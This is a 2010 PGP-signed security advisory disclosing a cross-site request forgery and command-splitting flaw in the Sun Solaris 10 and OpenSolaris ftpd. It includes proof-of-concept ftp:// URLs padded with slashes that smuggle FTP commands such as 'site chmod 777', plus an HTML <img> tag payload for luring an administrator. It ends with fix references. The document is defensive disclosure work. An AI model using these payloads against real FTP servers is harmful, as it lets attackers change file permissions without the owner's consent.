-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1



[ Sun Solaris 10 ftpd Cross-site request forgery ]



Author: Maksymilian Arciemowicz

SecurityReason.com

Date:

- - Dis.: 24.02.2010

- - Pub.: 21.05.2010



Affected Software:

- - Sun Solaris 10 10/09

- - OpenSoalris 2009.06



Original URL:

http://securityreason.com/achievement_securityalert/84





- --- 0.Description ---

in.ftpd is the Internet File Transfer Protocol (FTP) server process. The server 
may be invoked by the Internet daemon inetd(1M)  each time a connection to the 
FTP service is made or run as a standalone server.



CWE-352:

When a web server is designed to receive a request from a client without any 
mechanism for verifying that it was intentionally sent, then it might be 
possible for an attacker to trick a client into making an unintentional request 
to the web server which will be treated as an authentic request. This can be 
done via a URL, image load, XMLHttpRequest, etc. and can result in data 
disclosure or unintended code execution.





- --- 1. Sun Solaris 10 ftpd Cross-site request forgery ---

The main problem exists in dividing long command for few others. The problem 
stems from the fact the use of the loop for(;;) and function fgets(). etc



Example:

ftp://ftp.sun.com/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////stat
 



or



ftp://ftp.sun.com/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////pwd
 



tested od firefox 3.6.3



Example 2 (2048):

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 ////////////////////////////////////////////////////////////////pwd



will be split for:



//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 ////////////////////////////////////////////////////////////////



and



pwd



Example 3:

ftp://192.168.11.143//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
////////////////////////////////////////////////////////////////////////////////////site
 chmod 777 .





The situation, can be dangerous, when this bug will be exploited like any CSRF 
attack. We can use SITE CHMOD command to change file permission or other 
combinations with ftp commands. Only we need some exploit and luck, that admin 
will executed exploited url.



How to exploit it?



0.

Creating some html file with <img> tags

<img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME";>

...



1.

Give preparing URL for user.



Example:

ftp://....////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////

//SITE%20CHMOD%20777%20EXAMPLEFILE



will change permision to EXAMPLEFILE when the owner will use this URL.



I think, it should be some byte, what inform about overflowing (empty command 
should nulling this byte), like in openbsd fix for ftpd.



This vulnerability can also be used not only as CSRF. If we create an interface 
based on PHP-ftp, you can inject arbitrary FTP command, bypassing the access to 
the FTP server.



Similar vulnerabilities (1024chars split):

ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-014.txt.asc

http://security.freebsd.org/advisories/FreeBSD-SA-08:12.ftpd.asc

http://security.freebsd.org/advisories/FreeBSD-SA-09:01.lukemftpd.asc







- --- 2. Fix ---

Sun bug 6946945



http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1

http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpcmd.y#rev1.84.8.1

http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpd.c#rev1.177.6.4

http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/version.h#rev1.65.12.2





- --- 3. Greets ---

sp3x Infospec pi3





- --- 4. Contact ---

Author: SecurityReason.com [ Maksymilian Arciemowicz ]

- - cxib {a\./t] securityreason [d=t} com



GPG:

- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg



http://securityreason.com/

http://securityreason.com/exploit_alert/ - Exploit Database

http://securityreason.com/security_alert/ - Vulnerability Database

-----BEGIN PGP SIGNATURE-----



iEYEARECAAYFAkv2dacACgkQpiCeOKaYa9ZuwwCfcLbAFFQOpZ4+2j5sSOvNUa97

7HEAoJLTh6ygjroFhJuboBfgRuIhFEoh

=5zDe

-----END PGP SIGNATURE-----

Reply via email to